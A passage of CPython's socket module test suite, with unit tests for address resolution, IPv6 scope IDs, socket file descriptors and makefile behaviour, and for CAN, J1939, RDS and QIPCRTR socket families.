self.assertTrue(hasattr(socket, 'SIO_RCVALL'))
self.assertTrue(hasattr(socket, 'RCVALL_ON'))
self.assertTrue(hasattr(socket, 'RCVALL_OFF'))
self.assertTrue(hasattr(socket, 'SIO_KEEPALIVE_VALS'))
s = socket.socket()
self.addCleanup(s.close)
self.assertRaises(ValueError, s.ioctl, -1, None)
s.ioctl(socket.SIO_KEEPALIVE_VALS, (1, 100, 100))
@unittest.skipUnless(os.name == "nt", "Windows specific")
@unittest.skipUnless(hasattr(socket, 'SIO_LOOPBACK_FAST_PATH'),
'Loopback fast path support required for this test')
def test_sio_loopback_fast_path(self):
s = socket.socket()
self.addCleanup(s.close)
try:
s.ioctl(socket.SIO_LOOPBACK_FAST_PATH, True)
except OSError as exc:
WSAEOPNOTSUPP = 10045
if exc.winerror == WSAEOPNOTSUPP:
self.skipTest("SIO_LOOPBACK_FAST_PATH is defined but "
"doesn't implemented in this Windows version")
raise
self.assertRaises(TypeError, s.ioctl, socket.SIO_LOOPBACK_FAST_PATH, None)
def testGetaddrinfo(self):
try:
socket.getaddrinfo('localhost', 80)
except socket.gaierror as err:
if err.errno == socket.EAI_SERVICE:
# see http://bugs.python.org/issue1282647
self.skipTest("buggy libc version")
raise
# len of every sequence is supposed to be == 5
for info in socket.getaddrinfo(HOST, None):
self.assertEqual(len(info), 5)
# host can be a domain name, a string representation of an
# IPv4/v6 address or None
socket.getaddrinfo('localhost', 80)
socket.getaddrinfo('127.0.0.1', 80)
socket.getaddrinfo(None, 80)
if socket_helper.IPV6_ENABLED:
socket.getaddrinfo('::1', 80)
# port can be a string service name such as "http", a numeric
# port number or None
# Issue #26936: Android getaddrinfo() was broken before API level 23.
if (not hasattr(sys, 'getandroidapilevel') or
sys.getandroidapilevel() >= 23):
socket.getaddrinfo(HOST, "http")
socket.getaddrinfo(HOST, 80)
socket.getaddrinfo(HOST, None)
# test family and socktype filters
infos = socket.getaddrinfo(HOST, 80, socket.AF_INET, socket.SOCK_STREAM)
for family, type, _, _, _ in infos:
self.assertEqual(family, socket.AF_INET)
self.assertEqual(str(family), 'AddressFamily.AF_INET')
self.assertEqual(type, socket.SOCK_STREAM)
self.assertEqual(str(type), 'SocketKind.SOCK_STREAM')
infos = socket.getaddrinfo(HOST, None, 0, socket.SOCK_STREAM)
for _, socktype, _, _, _ in infos:
self.assertEqual(socktype, socket.SOCK_STREAM)
# test proto and flags arguments
socket.getaddrinfo(HOST, None, 0, 0, socket.SOL_TCP)
socket.getaddrinfo(HOST, None, 0, 0, 0, socket.AI_PASSIVE)
# a server willing to support both IPv4 and IPv6 will
# usually do this
socket.getaddrinfo(None, 0, socket.AF_UNSPEC, socket.SOCK_STREAM, 0,
socket.AI_PASSIVE)
# test keyword arguments
a = socket.getaddrinfo(HOST, None)
b = socket.getaddrinfo(host=HOST, port=None)
self.assertEqual(a, b)
a = socket.getaddrinfo(HOST, None, socket.AF_INET)
b = socket.getaddrinfo(HOST, None, family=socket.AF_INET)
self.assertEqual(a, b)
a = socket.getaddrinfo(HOST, None, 0, socket.SOCK_STREAM)
b = socket.getaddrinfo(HOST, None, type=socket.SOCK_STREAM)
self.assertEqual(a, b)
a = socket.getaddrinfo(HOST, None, 0, 0, socket.SOL_TCP)
b = socket.getaddrinfo(HOST, None, proto=socket.SOL_TCP)
self.assertEqual(a, b)
a = socket.getaddrinfo(HOST, None, 0, 0, 0, socket.AI_PASSIVE)
b = socket.getaddrinfo(HOST, None, flags=socket.AI_PASSIVE)
self.assertEqual(a, b)
a = socket.getaddrinfo(None, 0, socket.AF_UNSPEC, socket.SOCK_STREAM, 0,
socket.AI_PASSIVE)
b = socket.getaddrinfo(host=None, port=0, family=socket.AF_UNSPEC,
type=socket.SOCK_STREAM, proto=0,
flags=socket.AI_PASSIVE)
self.assertEqual(a, b)
# Issue #6697.
self.assertRaises(UnicodeEncodeError, socket.getaddrinfo, 'localhost', '\uD800')
# Issue 17269: test workaround for OS X platform bug segfault
if hasattr(socket, 'AI_NUMERICSERV'):
try:
# The arguments here are undefined and the call may succeed
# or fail. All we care here is that it doesn't segfault.
socket.getaddrinfo("localhost", None, 0, 0, 0,
socket.AI_NUMERICSERV)
except socket.gaierror:
pass
def test_getnameinfo(self):
# only IP addresses are allowed
self.assertRaises(OSError, socket.getnameinfo, ('mail.python.org',0), 0)
@unittest.skipUnless(support.is_resource_enabled('network'),
'network is not enabled')
def test_idna(self):
# Check for internet access before running test
# (issue #12804, issue #25138).
with socket_helper.transient_internet('python.org'):
socket.gethostbyname('python.org')
# these should all be successful
domain = 'испытание.pythontest.net'
socket.gethostbyname(domain)
socket.gethostbyname_ex(domain)
socket.getaddrinfo(domain,0,socket.AF_UNSPEC,socket.SOCK_STREAM)
# this may not work if the forward lookup chooses the IPv6 address, as that doesn't
# have a reverse entry yet
# socket.gethostbyaddr('испытание.python.org')
def check_sendall_interrupted(self, with_timeout):
# socketpair() is not strictly required, but it makes things easier.
if not hasattr(signal, 'alarm') or not hasattr(socket, 'socketpair'):
self.skipTest("signal.alarm and socket.socketpair required for this test")
# Our signal handlers clobber the C errno by calling a math function
# with an invalid domain value.
def ok_handler(*args):
self.assertRaises(ValueError, math.acosh, 0)
def raising_handler(*args):
self.assertRaises(ValueError, math.acosh, 0)
1 // 0
c, s = socket.socketpair()
old_alarm = signal.signal(signal.SIGALRM, raising_handler)
try:
if with_timeout:
# Just above the one second minimum for signal.alarm
c.settimeout(1.5)
with self.assertRaises(ZeroDivisionError):
signal.alarm(1)
c.sendall(b"x" * support.SOCK_MAX_SIZE)
if with_timeout:
signal.signal(signal.SIGALRM, ok_handler)
signal.alarm(1)
self.assertRaises(socket.timeout, c.sendall,
b"x" * support.SOCK_MAX_SIZE)
finally:
signal.alarm(0)
signal.signal(signal.SIGALRM, old_alarm)
c.close()
s.close()
def test_sendall_interrupted(self):
self.check_sendall_interrupted(False)
def test_sendall_interrupted_with_timeout(self):
self.check_sendall_interrupted(True)
def test_dealloc_warn(self):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
r = repr(sock)
with self.assertWarns(ResourceWarning) as cm:
sock = None
support.gc_collect()
self.assertIn(r, str(cm.warning.args[0]))
# An open socket file object gets dereferenced after the socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
f = sock.makefile('rb')
r = repr(sock)
sock = None
support.gc_collect()
with self.assertWarns(ResourceWarning):
f = None
support.gc_collect()
def test_name_closed_socketio(self):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
fp = sock.makefile("rb")
fp.close()
self.assertEqual(repr(fp), "<_io.BufferedReader name=-1>")
def test_unusable_closed_socketio(self):
with socket.socket() as sock:
fp = sock.makefile("rb", buffering=0)
self.assertTrue(fp.readable())
self.assertFalse(fp.writable())
self.assertFalse(fp.seekable())
fp.close()
self.assertRaises(ValueError, fp.readable)
self.assertRaises(ValueError, fp.writable)
self.assertRaises(ValueError, fp.seekable)
def test_socket_close(self):
sock = socket.socket()
try:
sock.bind((HOST, 0))
socket.close(sock.fileno())
with self.assertRaises(OSError):
sock.listen(1)
finally:
with self.assertRaises(OSError):
# sock.close() fails with EBADF
sock.close()
with self.assertRaises(TypeError):
socket.close(None)
with self.assertRaises(OSError):
socket.close(-1)
def test_makefile_mode(self):
for mode in 'r', 'rb', 'rw', 'w', 'wb':
with self.subTest(mode=mode):
with socket.socket() as sock:
with sock.makefile(mode) as fp:
self.assertEqual(fp.mode, mode)
def test_makefile_invalid_mode(self):
for mode in 'rt', 'x', '+', 'a':
with self.subTest(mode=mode):
with socket.socket() as sock:
with self.assertRaisesRegex(ValueError, 'invalid mode'):
sock.makefile(mode)
def test_pickle(self):
sock = socket.socket()
with sock:
for protocol in range(pickle.HIGHEST_PROTOCOL + 1):
self.assertRaises(TypeError, pickle.dumps, sock, protocol)
for protocol in range(pickle.HIGHEST_PROTOCOL + 1):
family = pickle.loads(pickle.dumps(socket.AF_INET, protocol))
self.assertEqual(family, socket.AF_INET)
type = pickle.loads(pickle.dumps(socket.SOCK_STREAM, protocol))
self.assertEqual(type, socket.SOCK_STREAM)
def test_listen_backlog(self):
for backlog in 0, -1:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as srv:
srv.bind((HOST, 0))
srv.listen(backlog)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as srv:
srv.bind((HOST, 0))
srv.listen()
@support.cpython_only
def test_listen_backlog_overflow(self):
# Issue 15989
import _testcapi
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as srv:
srv.bind((HOST, 0))
self.assertRaises(OverflowError, srv.listen, _testcapi.INT_MAX + 1)
@unittest.skipUnless(socket_helper.IPV6_ENABLED, 'IPv6 required for this test.')
def test_flowinfo(self):
self.assertRaises(OverflowError, socket.getnameinfo,
(socket_helper.HOSTv6, 0, 0xffffffff), 0)
with socket.socket(socket.AF_INET6, socket.SOCK_STREAM) as s:
self.assertRaises(OverflowError, s.bind, (socket_helper.HOSTv6, 0, -10))
@unittest.skipUnless(socket_helper.IPV6_ENABLED, 'IPv6 required for this test.')
def test_getaddrinfo_ipv6_basic(self):
((*_, sockaddr),) = socket.getaddrinfo(
'ff02::1de:c0:face:8D', # Note capital letter `D`.
1234, socket.AF_INET6,
socket.SOCK_DGRAM,
socket.IPPROTO_UDP
)
self.assertEqual(sockaddr, ('ff02::1de:c0:face:8d', 1234, 0, 0))
@unittest.skipUnless(socket_helper.IPV6_ENABLED, 'IPv6 required for this test.')
@unittest.skipIf(sys.platform == 'win32', 'does not work on Windows')
@unittest.skipIf(AIX, 'Symbolic scope id does not work')
def test_getaddrinfo_ipv6_scopeid_symbolic(self):
# Just pick up any network interface (Linux, Mac OS X)
(ifindex, test_interface) = socket.if_nameindex()[0]
((*_, sockaddr),) = socket.getaddrinfo(
'ff02::1de:c0:face:8D%' + test_interface,
1234, socket.AF_INET6,
socket.SOCK_DGRAM,
socket.IPPROTO_UDP
)
# Note missing interface name part in IPv6 address
self.assertEqual(sockaddr, ('ff02::1de:c0:face:8d', 1234, 0, ifindex))
@unittest.skipUnless(socket_helper.IPV6_ENABLED, 'IPv6 required for this test.')
@unittest.skipUnless(
sys.platform == 'win32',
'Numeric scope id does not work or undocumented')
def test_getaddrinfo_ipv6_scopeid_numeric(self):
# Also works on Linux and Mac OS X, but is not documented (?)
# Windows, Linux and Max OS X allow nonexistent interface numbers here.
ifindex = 42
((*_, sockaddr),) = socket.getaddrinfo(
'ff02::1de:c0:face:8D%' + str(ifindex),
1234, socket.AF_INET6,
socket.SOCK_DGRAM,
socket.IPPROTO_UDP
)
# Note missing interface name part in IPv6 address
self.assertEqual(sockaddr, ('ff02::1de:c0:face:8d', 1234, 0, ifindex))
@unittest.skipUnless(socket_helper.IPV6_ENABLED, 'IPv6 required for this test.')
@unittest.skipIf(sys.platform == 'win32', 'does not work on Windows')
@unittest.skipIf(AIX, 'Symbolic scope id does not work')
def test_getnameinfo_ipv6_scopeid_symbolic(self):
# Just pick up any network interface.
(ifindex, test_interface) = socket.if_nameindex()[0]
sockaddr = ('ff02::1de:c0:face:8D', 1234, 0, ifindex) # Note capital letter `D`.
nameinfo = socket.getnameinfo(sockaddr, socket.NI_NUMERICHOST | socket.NI_NUMERICSERV)
self.assertEqual(nameinfo, ('ff02::1de:c0:face:8d%' + test_interface, '1234'))
@unittest.skipUnless(socket_helper.IPV6_ENABLED, 'IPv6 required for this test.')
@unittest.skipUnless( sys.platform == 'win32',
'Numeric scope id does not work or undocumented')
def test_getnameinfo_ipv6_scopeid_numeric(self):
# Also works on Linux (undocumented), but does not work on Mac OS X
# Windows and Linux allow nonexistent interface numbers here.
ifindex = 42
sockaddr = ('ff02::1de:c0:face:8D', 1234, 0, ifindex) # Note capital letter `D`.
nameinfo = socket.getnameinfo(sockaddr, socket.NI_NUMERICHOST | socket.NI_NUMERICSERV)
self.assertEqual(nameinfo, ('ff02::1de:c0:face:8d%' + str(ifindex), '1234'))
def test_str_for_enums(self):
# Make sure that the AF_* and SOCK_* constants have enum-like string
# reprs.
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
self.assertEqual(str(s.family), 'AddressFamily.AF_INET')
self.assertEqual(str(s.type), 'SocketKind.SOCK_STREAM')
def test_socket_consistent_sock_type(self):
SOCK_NONBLOCK = getattr(socket, 'SOCK_NONBLOCK', 0)
SOCK_CLOEXEC = getattr(socket, 'SOCK_CLOEXEC', 0)
sock_type = socket.SOCK_STREAM | SOCK_NONBLOCK | SOCK_CLOEXEC
with socket.socket(socket.AF_INET, sock_type) as s:
self.assertEqual(s.type, socket.SOCK_STREAM)
s.settimeout(1)
self.assertEqual(s.type, socket.SOCK_STREAM)
s.settimeout(0)
self.assertEqual(s.type, socket.SOCK_STREAM)
s.setblocking(True)
self.assertEqual(s.type, socket.SOCK_STREAM)
s.setblocking(False)
self.assertEqual(s.type, socket.SOCK_STREAM)
def test_unknown_socket_family_repr(self):
# Test that when created with a family that's not one of the known
# AF_*/SOCK_* constants, socket.family just returns the number.
#
# To do this we fool socket.socket into believing it already has an
# open fd because on this path it doesn't actually verify the family and
# type and populates the socket object.
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
fd = sock.detach()
unknown_family = max(socket.AddressFamily.__members__.values()) + 1
unknown_type = max(
kind
for name, kind in socket.SocketKind.__members__.items()
if name not in {'SOCK_NONBLOCK', 'SOCK_CLOEXEC'}
) + 1
with socket.socket(
family=unknown_family, type=unknown_type, proto=23,
fileno=fd) as s:
self.assertEqual(s.family, unknown_family)
self.assertEqual(s.type, unknown_type)
# some OS like macOS ignore proto
self.assertIn(s.proto, {0, 23})
@unittest.skipUnless(hasattr(os, 'sendfile'), 'test needs os.sendfile()')
def test__sendfile_use_sendfile(self):
class File:
def __init__(self, fd):
self.fd = fd
def fileno(self):
return self.fd
with socket.socket() as sock:
fd = os.open(os.curdir, os.O_RDONLY)
os.close(fd)
with self.assertRaises(socket._GiveupOnSendfile):
sock._sendfile_use_sendfile(File(fd))
with self.assertRaises(OverflowError):
sock._sendfile_use_sendfile(File(2**1000))
with self.assertRaises(TypeError):
sock._sendfile_use_sendfile(File(None))
def _test_socket_fileno(self, s, family, stype):
self.assertEqual(s.family, family)
self.assertEqual(s.type, stype)
fd = s.fileno()
s2 = socket.socket(fileno=fd)
self.addCleanup(s2.close)
# detach old fd to avoid double close
s.detach()
self.assertEqual(s2.family, family)
self.assertEqual(s2.type, stype)
self.assertEqual(s2.fileno(), fd)
def test_socket_fileno(self):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.addCleanup(s.close)
s.bind((socket_helper.HOST, 0))
self._test_socket_fileno(s, socket.AF_INET, socket.SOCK_STREAM)
if hasattr(socket, "SOCK_DGRAM"):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.addCleanup(s.close)
s.bind((socket_helper.HOST, 0))
self._test_socket_fileno(s, socket.AF_INET, socket.SOCK_DGRAM)
if socket_helper.IPV6_ENABLED:
s = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
self.addCleanup(s.close)
s.bind((socket_helper.HOSTv6, 0, 0, 0))
self._test_socket_fileno(s, socket.AF_INET6, socket.SOCK_STREAM)
if hasattr(socket, "AF_UNIX"):
tmpdir = tempfile.mkdtemp()
self.addCleanup(shutil.rmtree, tmpdir)
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
self.addCleanup(s.close)
try:
s.bind(os.path.join(tmpdir, 'socket'))
except PermissionError:
pass
else:
self._test_socket_fileno(s, socket.AF_UNIX,
socket.SOCK_STREAM)
def test_socket_fileno_rejects_float(self):
with self.assertRaisesRegex(TypeError, "integer argument expected"):
socket.socket(socket.AF_INET, socket.SOCK_STREAM, fileno=42.5)
def test_socket_fileno_rejects_other_types(self):
with self.assertRaisesRegex(TypeError, "integer is required"):
socket.socket(socket.AF_INET, socket.SOCK_STREAM, fileno="foo")
def test_socket_fileno_rejects_invalid_socket(self):
with self.assertRaisesRegex(ValueError, "negative file descriptor"):
socket.socket(socket.AF_INET, socket.SOCK_STREAM, fileno=-1)
@unittest.skipIf(os.name == "nt", "Windows disallows -1 only")
def test_socket_fileno_rejects_negative(self):
with self.assertRaisesRegex(ValueError, "negative file descriptor"):
socket.socket(socket.AF_INET, socket.SOCK_STREAM, fileno=-42)
def test_socket_fileno_requires_valid_fd(self):
WSAENOTSOCK = 10038
with self.assertRaises(OSError) as cm:
socket.socket(fileno=support.make_bad_fd())
self.assertIn(cm.exception.errno, (errno.EBADF, WSAENOTSOCK))
with self.assertRaises(OSError) as cm:
socket.socket(
socket.AF_INET,
socket.SOCK_STREAM,
fileno=support.make_bad_fd())
self.assertIn(cm.exception.errno, (errno.EBADF, WSAENOTSOCK))
def test_socket_fileno_requires_socket_fd(self):
with tempfile.NamedTemporaryFile() as afile:
with self.assertRaises(OSError):
socket.socket(fileno=afile.fileno())
with self.assertRaises(OSError) as cm:
socket.socket(
socket.AF_INET,
socket.SOCK_STREAM,
fileno=afile.fileno())
self.assertEqual(cm.exception.errno, errno.ENOTSOCK)
@unittest.skipUnless(HAVE_SOCKET_CAN, 'SocketCan required for this test.')
class BasicCANTest(unittest.TestCase):
def testCrucialConstants(self):
socket.AF_CAN
socket.PF_CAN
socket.CAN_RAW
@unittest.skipUnless(hasattr(socket, "CAN_BCM"),
'socket.CAN_BCM required for this test.')
def testBCMConstants(self):
socket.CAN_BCM
# opcodes
socket.CAN_BCM_TX_SETUP # create (cyclic) transmission task
socket.CAN_BCM_TX_DELETE # remove (cyclic) transmission task
socket.CAN_BCM_TX_READ # read properties of (cyclic) transmission task
socket.CAN_BCM_TX_SEND # send one CAN frame
socket.CAN_BCM_RX_SETUP # create RX content filter subscription
socket.CAN_BCM_RX_DELETE # remove RX content filter subscription
socket.CAN_BCM_RX_READ # read properties of RX content filter subscription
socket.CAN_BCM_TX_STATUS # reply to TX_READ request
socket.CAN_BCM_TX_EXPIRED # notification on performed transmissions (count=0)
socket.CAN_BCM_RX_STATUS # reply to RX_READ request
socket.CAN_BCM_RX_TIMEOUT # cyclic message is absent
socket.CAN_BCM_RX_CHANGED # updated CAN frame (detected content change)
# flags
socket.CAN_BCM_SETTIMER
socket.CAN_BCM_STARTTIMER
socket.CAN_BCM_TX_COUNTEVT
socket.CAN_BCM_TX_ANNOUNCE
socket.CAN_BCM_TX_CP_CAN_ID
socket.CAN_BCM_RX_FILTER_ID
socket.CAN_BCM_RX_CHECK_DLC
socket.CAN_BCM_RX_NO_AUTOTIMER
socket.CAN_BCM_RX_ANNOUNCE_RESUME
socket.CAN_BCM_TX_RESET_MULTI_IDX
socket.CAN_BCM_RX_RTR_FRAME
def testCreateSocket(self):
with socket.socket(socket.PF_CAN, socket.SOCK_RAW, socket.CAN_RAW) as s:
pass
@unittest.skipUnless(hasattr(socket, "CAN_BCM"),
'socket.CAN_BCM required for this test.')
def testCreateBCMSocket(self):
with socket.socket(socket.PF_CAN, socket.SOCK_DGRAM, socket.CAN_BCM) as s:
pass
def testBindAny(self):
with socket.socket(socket.PF_CAN, socket.SOCK_RAW, socket.CAN_RAW) as s:
address = ('', )
s.bind(address)
self.assertEqual(s.getsockname(), address)
def testTooLongInterfaceName(self):
# most systems limit IFNAMSIZ to 16, take 1024 to be sure
with socket.socket(socket.PF_CAN, socket.SOCK_RAW, socket.CAN_RAW) as s:
self.assertRaisesRegex(OSError, 'interface name too long',
s.bind, ('x' * 1024,))
@unittest.skipUnless(hasattr(socket, "CAN_RAW_LOOPBACK"),
'socket.CAN_RAW_LOOPBACK required for this test.')
def testLoopback(self):
with socket.socket(socket.PF_CAN, socket.SOCK_RAW, socket.CAN_RAW) as s:
for loopback in (0, 1):
s.setsockopt(socket.SOL_CAN_RAW, socket.CAN_RAW_LOOPBACK,
loopback)
self.assertEqual(loopback,
s.getsockopt(socket.SOL_CAN_RAW, socket.CAN_RAW_LOOPBACK))
@unittest.skipUnless(hasattr(socket, "CAN_RAW_FILTER"),
'socket.CAN_RAW_FILTER required for this test.')
def testFilter(self):
can_id, can_mask = 0x200, 0x700
can_filter = struct.pack("=II", can_id, can_mask)
with socket.socket(socket.PF_CAN, socket.SOCK_RAW, socket.CAN_RAW) as s:
s.setsockopt(socket.SOL_CAN_RAW, socket.CAN_RAW_FILTER, can_filter)
self.assertEqual(can_filter,
s.getsockopt(socket.SOL_CAN_RAW, socket.CAN_RAW_FILTER, 8))
s.setsockopt(socket.SOL_CAN_RAW, socket.CAN_RAW_FILTER, bytearray(can_filter))
@unittest.skipUnless(HAVE_SOCKET_CAN, 'SocketCan required for this test.')
class CANTest(ThreadedCANSocketTest):
def __init__(self, methodName='runTest'):
ThreadedCANSocketTest.__init__(self, methodName=methodName)
@classmethod
def build_can_frame(cls, can_id, data):
"""Build a CAN frame."""
can_dlc = len(data)
data = data.ljust(8, b'\x00')
return struct.pack(cls.can_frame_fmt, can_id, can_dlc, data)
@classmethod
def dissect_can_frame(cls, frame):
"""Dissect a CAN frame."""
can_id, can_dlc, data = struct.unpack(cls.can_frame_fmt, frame)
return (can_id, can_dlc, data[:can_dlc])
def testSendFrame(self):
cf, addr = self.s.recvfrom(self.bufsize)
self.assertEqual(self.cf, cf)
self.assertEqual(addr[0], self.interface)
def _testSendFrame(self):
self.cf = self.build_can_frame(0x00, b'\x01\x02\x03\x04\x05')
self.cli.send(self.cf)
def testSendMaxFrame(self):
cf, addr = self.s.recvfrom(self.bufsize)
self.assertEqual(self.cf, cf)
def _testSendMaxFrame(self):
self.cf = self.build_can_frame(0x00, b'\x07' * 8)
self.cli.send(self.cf)
def testSendMultiFrames(self):
cf, addr = self.s.recvfrom(self.bufsize)
self.assertEqual(self.cf1, cf)
cf, addr = self.s.recvfrom(self.bufsize)
self.assertEqual(self.cf2, cf)
def _testSendMultiFrames(self):
self.cf1 = self.build_can_frame(0x07, b'\x44\x33\x22\x11')
self.cli.send(self.cf1)
self.cf2 = self.build_can_frame(0x12, b'\x99\x22\x33')
self.cli.send(self.cf2)
@unittest.skipUnless(hasattr(socket, "CAN_BCM"),
'socket.CAN_BCM required for this test.')
def _testBCM(self):
cf, addr = self.cli.recvfrom(self.bufsize)
self.assertEqual(self.cf, cf)
can_id, can_dlc, data = self.dissect_can_frame(cf)
self.assertEqual(self.can_id, can_id)
self.assertEqual(self.data, data)
@unittest.skipUnless(hasattr(socket, "CAN_BCM"),
'socket.CAN_BCM required for this test.')
def testBCM(self):
bcm = socket.socket(socket.PF_CAN, socket.SOCK_DGRAM, socket.CAN_BCM)
self.addCleanup(bcm.close)
bcm.connect((self.interface,))
self.can_id = 0x123
self.data = bytes([0xc0, 0xff, 0xee])
self.cf = self.build_can_frame(self.can_id, self.data)
opcode = socket.CAN_BCM_TX_SEND
flags = 0
count = 0
ival1_seconds = ival1_usec = ival2_seconds = ival2_usec = 0
bcm_can_id = 0x0222
nframes = 1
assert len(self.cf) == 16
header = struct.pack(self.bcm_cmd_msg_fmt,
opcode,
flags,
count,
ival1_seconds,
ival1_usec,
ival2_seconds,
ival2_usec,
bcm_can_id,
nframes,
)
header_plus_frame = header + self.cf
bytes_sent = bcm.send(header_plus_frame)
self.assertEqual(bytes_sent, len(header_plus_frame))
@unittest.skipUnless(HAVE_SOCKET_CAN_ISOTP, 'CAN ISOTP required for this test.')
class ISOTPTest(unittest.TestCase):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self.interface = "vcan0"
def testCrucialConstants(self):
socket.AF_CAN
socket.PF_CAN
socket.CAN_ISOTP
socket.SOCK_DGRAM
def testCreateSocket(self):
with socket.socket(socket.PF_CAN, socket.SOCK_RAW, socket.CAN_RAW) as s:
pass
@unittest.skipUnless(hasattr(socket, "CAN_ISOTP"),
'socket.CAN_ISOTP required for this test.')
def testCreateISOTPSocket(self):
with socket.socket(socket.PF_CAN, socket.SOCK_DGRAM, socket.CAN_ISOTP) as s:
pass
def testTooLongInterfaceName(self):
# most systems limit IFNAMSIZ to 16, take 1024 to be sure
with socket.socket(socket.PF_CAN, socket.SOCK_DGRAM, socket.CAN_ISOTP) as s:
with self.assertRaisesRegex(OSError, 'interface name too long'):
s.bind(('x' * 1024, 1, 2))
def testBind(self):
try:
with socket.socket(socket.PF_CAN, socket.SOCK_DGRAM, socket.CAN_ISOTP) as s:
addr = self.interface, 0x123, 0x456
s.bind(addr)
self.assertEqual(s.getsockname(), addr)
except OSError as e:
if e.errno == errno.ENODEV:
self.skipTest('network interface `%s` does not exist' %
self.interface)
else:
raise
@unittest.skipUnless(HAVE_SOCKET_CAN_J1939, 'CAN J1939 required for this test.')
class J1939Test(unittest.TestCase):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self.interface = "vcan0"
@unittest.skipUnless(hasattr(socket, "CAN_J1939"),
'socket.CAN_J1939 required for this test.')
def testJ1939Constants(self):
socket.CAN_J1939
socket.J1939_MAX_UNICAST_ADDR
socket.J1939_IDLE_ADDR
socket.J1939_NO_ADDR
socket.J1939_NO_NAME
socket.J1939_PGN_REQUEST
socket.J1939_PGN_ADDRESS_CLAIMED
socket.J1939_PGN_ADDRESS_COMMANDED
socket.J1939_PGN_PDU1_MAX
socket.J1939_PGN_MAX
socket.J1939_NO_PGN
# J1939 socket options
socket.SO_J1939_FILTER
socket.SO_J1939_PROMISC
socket.SO_J1939_SEND_PRIO
socket.SO_J1939_ERRQUEUE
socket.SCM_J1939_DEST_ADDR
socket.SCM_J1939_DEST_NAME
socket.SCM_J1939_PRIO
socket.SCM_J1939_ERRQUEUE
socket.J1939_NLA_PAD
socket.J1939_NLA_BYTES_ACKED
socket.J1939_EE_INFO_NONE
socket.J1939_EE_INFO_TX_ABORT
socket.J1939_FILTER_MAX
@unittest.skipUnless(hasattr(socket, "CAN_J1939"),
'socket.CAN_J1939 required for this test.')
def testCreateJ1939Socket(self):
with socket.socket(socket.PF_CAN, socket.SOCK_DGRAM, socket.CAN_J1939) as s:
pass
def testBind(self):
try:
with socket.socket(socket.PF_CAN, socket.SOCK_DGRAM, socket.CAN_J1939) as s:
addr = self.interface, socket.J1939_NO_NAME, socket.J1939_NO_PGN, socket.J1939_NO_ADDR
s.bind(addr)
self.assertEqual(s.getsockname(), addr)
except OSError as e:
if e.errno == errno.ENODEV:
self.skipTest('network interface `%s` does not exist' %
self.interface)
else:
raise
@unittest.skipUnless(HAVE_SOCKET_RDS, 'RDS sockets required for this test.')
class BasicRDSTest(unittest.TestCase):
def testCrucialConstants(self):
socket.AF_RDS
socket.PF_RDS
def testCreateSocket(self):
with socket.socket(socket.PF_RDS, socket.SOCK_SEQPACKET, 0) as s:
pass
def testSocketBufferSize(self):
bufsize = 16384
with socket.socket(socket.PF_RDS, socket.SOCK_SEQPACKET, 0) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, bufsize)
s.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, bufsize)
@unittest.skipUnless(HAVE_SOCKET_RDS, 'RDS sockets required for this test.')
class RDSTest(ThreadedRDSSocketTest):
def __init__(self, methodName='runTest'):
ThreadedRDSSocketTest.__init__(self, methodName=methodName)
def setUp(self):
super().setUp()
self.evt = threading.Event()
def testSendAndRecv(self):
data, addr = self.serv.recvfrom(self.bufsize)
self.assertEqual(self.data, data)
self.assertEqual(self.cli_addr, addr)
def _testSendAndRecv(self):
self.data = b'spam'
self.cli.sendto(self.data, 0, (HOST, self.port))
def testPeek(self):
data, addr = self.serv.recvfrom(self.bufsize, socket.MSG_PEEK)
self.assertEqual(self.data, data)
data, addr = self.serv.recvfrom(self.bufsize)
self.assertEqual(self.data, data)
def _testPeek(self):
self.data = b'spam'
self.cli.sendto(self.data, 0, (HOST, self.port))
@requireAttrs(socket.socket, 'recvmsg')
def testSendAndRecvMsg(self):
data, ancdata, msg_flags, addr = self.serv.recvmsg(self.bufsize)
self.assertEqual(self.data, data)
@requireAttrs(socket.socket, 'sendmsg')
def _testSendAndRecvMsg(self):
self.data = b'hello ' * 10
self.cli.sendmsg([self.data], (), 0, (HOST, self.port))
def testSendAndRecvMulti(self):
data, addr = self.serv.recvfrom(self.bufsize)
self.assertEqual(self.data1, data)
data, addr = self.serv.recvfrom(self.bufsize)
self.assertEqual(self.data2, data)
def _testSendAndRecvMulti(self):
self.data1 = b'bacon'
self.cli.sendto(self.data1, 0, (HOST, self.port))
self.data2 = b'egg'
self.cli.sendto(self.data2, 0, (HOST, self.port))
def testSelect(self):
r, w, x = select.select([self.serv], [], [], 3.0)
self.assertIn(self.serv, r)
data, addr = self.serv.recvfrom(self.bufsize)
self.assertEqual(self.data, data)
def _testSelect(self):
self.data = b'select'
self.cli.sendto(self.data, 0, (HOST, self.port))
@unittest.skipUnless(HAVE_SOCKET_QIPCRTR,
'QIPCRTR sockets required for this test.')
class BasicQIPCRTRTest(unittest.TestCase):
def testCrucialConstants(self):
socket.AF_QIPCRTR
def testCreateSocket(self):
with socket.socket(socket.AF_QIPCRTR, socket.SOCK_DGRAM) as s:
pass
def testUnbound(self):
with socket.socket(socket.AF_QIPCRTR, socket.SOCK_DGRAM) as s:
self.assertEqual(s.getsockname()[1], 0)
def testBindSock(self):
with socket.socket(socket.AF_QIPCRTR, socket.SOCK_DGRAM) as s:
socket_helper.bind_port(s, host=s.getsockname()[0])
self.assertNotEqual(s.getsockname()[1], 0)
def testInvalidBindSock(self):
with socket.socket(socket.AF_QIPCRTR, socket.SOCK_DGRAM) as s:
self.assertRaises(OSError, socket_helper.bind_port, s, host=-2)
def testAutoBindSock(self):
with socket.socket(socket.AF_QIPCRTR, socket.SOCK_DGRAM) as s:
s.connect((123, 123))
self.assertNotEqual(s.getsockname()[1], 0)
@unittest.skipIf(fcntl is None, "need fcntl")
